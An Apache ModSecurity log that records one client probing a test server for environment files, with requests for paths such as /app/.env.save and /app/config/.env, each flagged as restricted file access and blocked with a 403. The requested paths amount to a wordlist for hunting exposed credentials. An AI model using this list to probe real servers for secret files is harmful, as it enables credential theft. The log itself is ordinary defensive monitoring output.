[Wed Feb 25 06:04:48.220005 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.sample&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYWwAAAAc&quot;]
[Wed Feb 25 06:04:48.220218 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.sample&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYWwAAAAc&quot;]
[Wed Feb 25 06:04:48.319020 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYXAAAAAc&quot;]
[Wed Feb 25 06:04:48.319311 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYXAAAAAc&quot;]
[Wed Feb 25 06:04:48.319496 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYXAAAAAc&quot;]
[Wed Feb 25 06:04:48.331451 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /__tests__/test-become/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__tests__/test-become/.env&quot;] [unique_id &quot;aZ6C8LZegw_qLbSTRXm5VgAAAAM&quot;]
[Wed Feb 25 06:04:48.331746 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__tests__/test-become/.env&quot;] [unique_id &quot;aZ6C8LZegw_qLbSTRXm5VgAAAAM&quot;]
[Wed Feb 25 06:04:48.331985 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__tests__/test-become/.env&quot;] [unique_id &quot;aZ6C8LZegw_qLbSTRXm5VgAAAAM&quot;]
[Wed Feb 25 06:04:48.365300 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.back&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.back&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYXQAAAAc&quot;]
[Wed Feb 25 06:04:48.365554 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.back&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYXQAAAAc&quot;]
[Wed Feb 25 06:04:48.365756 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.back&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYXQAAAAc&quot;]
[Wed Feb 25 06:04:48.461424 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/client/.env&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYXgAAAAc&quot;]
[Wed Feb 25 06:04:48.461810 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/client/.env&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYXgAAAAc&quot;]
[Wed Feb 25 06:04:48.462072 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/client/.env&quot;] [unique_id &quot;aZ6C8Iv6AM5Bs3q_JQDYXgAAAAc&quot;]
[Wed Feb 25 06:04:48.567660 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/code/community/nosto/tagging/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/code/community/Nosto/Tagging/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC4gAAAAU&quot;]
[Wed Feb 25 06:04:48.567930 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/code/community/Nosto/Tagging/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC4gAAAAU&quot;]
[Wed Feb 25 06:04:48.568099 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/code/community/Nosto/Tagging/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC4gAAAAU&quot;]
[Wed Feb 25 06:04:48.705787 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC5AAAAAU&quot;]
[Wed Feb 25 06:04:48.706081 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC5AAAAAU&quot;]
[Wed Feb 25 06:04:48.706274 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC5AAAAAU&quot;]
[Wed Feb 25 06:04:48.755002 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/config/dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/dev/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC5QAAAAU&quot;]
[Wed Feb 25 06:04:48.755273 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/dev/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC5QAAAAU&quot;]
[Wed Feb 25 06:04:48.755448 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/dev/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC5QAAAAU&quot;]
[Wed Feb 25 06:04:48.799226 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/frontend/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC5gAAAAU&quot;]
[Wed Feb 25 06:04:48.799530 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/frontend/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC5gAAAAU&quot;]
[Wed Feb 25 06:04:48.799746 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/frontend/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC5gAAAAU&quot;]
[Wed Feb 25 06:04:48.903526 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app1-static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app1-static/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC6QAAAAU&quot;]
[Wed Feb 25 06:04:48.903819 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app1-static/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC6QAAAAU&quot;]
[Wed Feb 25 06:04:48.903996 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app1-static/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC6QAAAAU&quot;]
[Wed Feb 25 06:04:48.959011 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app2-static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app2-static/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC6gAAAAU&quot;]
[Wed Feb 25 06:04:48.959306 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app2-static/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC6gAAAAU&quot;]
[Wed Feb 25 06:04:48.959502 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app2-static/.env&quot;] [unique_id &quot;aZ6C8OTWwZsZM3_RktVC6gAAAAU&quot;]
[Wed Feb 25 06:04:49.047064 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app_dir/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dir/.env&quot;] [unique_id &quot;aZ6C8eTWwZsZM3_RktVC6wAAAAU&quot;]
